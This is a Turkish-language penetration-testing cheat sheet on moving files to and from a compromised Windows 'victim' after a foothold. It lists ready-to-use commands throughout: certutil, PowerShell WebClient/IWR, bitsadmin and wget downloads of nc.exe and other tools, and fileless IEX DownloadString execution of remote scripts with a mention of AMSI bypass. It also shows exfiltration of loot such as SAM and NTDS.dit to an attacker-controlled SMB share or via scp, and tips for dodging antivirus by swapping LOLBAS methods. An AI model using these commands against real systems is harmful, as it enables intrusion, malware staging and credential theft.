Windows Dosya Transferi (Victim'e indir / Victim'den çek)
Foothold sonrası Kali'den Windows hedefe (ve geri) dosya taşımanın tüm yolları: certutil -urlcache, PowerShell Invoke-WebRequest / DownloadFile / DownloadString, bitsadmin, impacket-smbserver + copy, wget.exe, base64 kopyala-yapıştır ve scp. Her yöntem farklı bir AV/ağ kısıtı altında işe yarar.
- Hedef üzerinde komut çalıştırma (RCE veya shell)
- Kali tarafında bir HTTP/SMB sunucusu veya erişilebilir {{URL}}
Komutlar
python3 -m http.server 80 impacket-smbserver share ./ -smb2support -username {{USER}} -password {{PASS}} certutil -urlcache -split -f http://{{LHOST}}/nc.exe C:\Windows\Temp\nc.exe powershell -c "Invoke-WebRequest -Uri http://{{LHOST}}/nc.exe -OutFile C:\Windows\Temp\nc.exe" powershell -c "(New-Object Net.WebClient).DownloadFile('http://{{LHOST}}/nc.exe','C:\Windows\Temp\nc.exe')" powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}/script.ps1')" bitsadmin /transfer job /download /priority high http://{{LHOST}}/nc.exe C:\Windows\Temp\nc.exe copy \\{{LHOST}}\share\nc.exe C:\Windows\Temp\nc.exe copy C:\Users\victim\loot.zip \\{{LHOST}}\share\loot.zip wget.exe http://{{LHOST}}/nc.exe -O C:\Windows\Temp\nc.exe certutil -encode loot.bin loot.b64 powershell -c "[IO.File]::WriteAllBytes('C:\Windows\Temp\nc.exe',[Convert]::FromBase64String('TVqQAAM...'))" scp loot.zip {{USER}}@{{LHOST}}:/home/{{USER}}/loot.zip Genel Mantık
Foothold aldıktan sonra çoğu zaman bir araç (nc.exe, winPEAS, PrintSpoofer, mimikatz) hedefe taşımak ya da loot’u (SAM, NTDS.dit, parola dosyaları) Kali’ye çekmek gerekir. Tek bir yöntem her ortamda çalışmaz: AV certutil’i flag’leyebilir, firewall HTTP’yi kapatmış olabilir, modern Windows anonim SMB’yi reddeder. Bu yüzden birkaç bağımsız tekniği hazır tutmak gerekir.
1. HTTP tabanlı indirme (en kolay)
Kali’de python3 -m http.server 80 başlat, hedefte sırasıyla şu seçenekleri dene:
- PowerShell IWR — PS 3.0+ standart yolu.
- WebClient.DownloadFile — eski makinelerde ve daha hızlı transfer için.
- certutil -urlcache — PowerShell kısıtlıysa LOLBAS klasiği; ancak imzalı olduğu için bazı AV’ler bunu izler.
- bitsadmin — BITS servisi meşru güncelleme trafiği gibi göründüğünden bazen daha sessizdir.
2. Fileless çalıştırma
Script’i diske hiç yazmadan çalıştırmak için IEX(New-Object Net.WebClient).DownloadString(...) kullanılır. winPEAS yerine PowerUp.ps1 gibi .ps1 araçlarda idealdir; diskte iz bırakmaz ve AMSI bypass ile birleştirilebilir (bkz. help-amsi).
3. SMB ile çift yönlü transfer
impacket-smbserver modern Windows için -smb2support ve mutlaka -username/-password ile başlatılmalı; aksi halde “anonymous logins are not allowed” hatası alınır. Hedefte önce net use \\{{LHOST}}\share /user:{{USER}} {{PASS}} ile bağlanıp ardından copy kullanılır. Aynı paylaşıma geri yazarak exfiltration yapılır — loot’u çekmenin en pratik yolu budur.
4. Ağ yokken: base64 kopyala-yapıştır
Hiçbir port açılamıyorsa (çok kısıtlı shell), dosyayı certutil -encode ile base64’e çevirip shell çıktısından kopyala, hedefte [Convert]::FromBase64String + WriteAllBytes ile geri kur. Küçük binary’ler için yeterli.
5. scp / SSH
Win10+ üzerinde OpenSSH client kuruluysa scp ile doğrudan Kali’ye exfil mümkündür. Hedefte SSH server açıksa Kali’den de çekilebilir.
Notlar
- Yazma izni olan dizinleri tercih et:
C:\Windows\Temp,C:\Users\Public.C:\Windows\System32genelde yazılamaz. - AV bir yöntemi engellerse paniğe kapılma; LOLBAS yöntemini değiştir (certutil → bitsadmin → IWR). [UNVERIFIED] hangi tekniğin flag’leneceği hedef AV’ye bağlıdır.
- Transfer sonrası
Get-FileHashile bütünlüğü doğrula (özellikle base64 transferlerinde).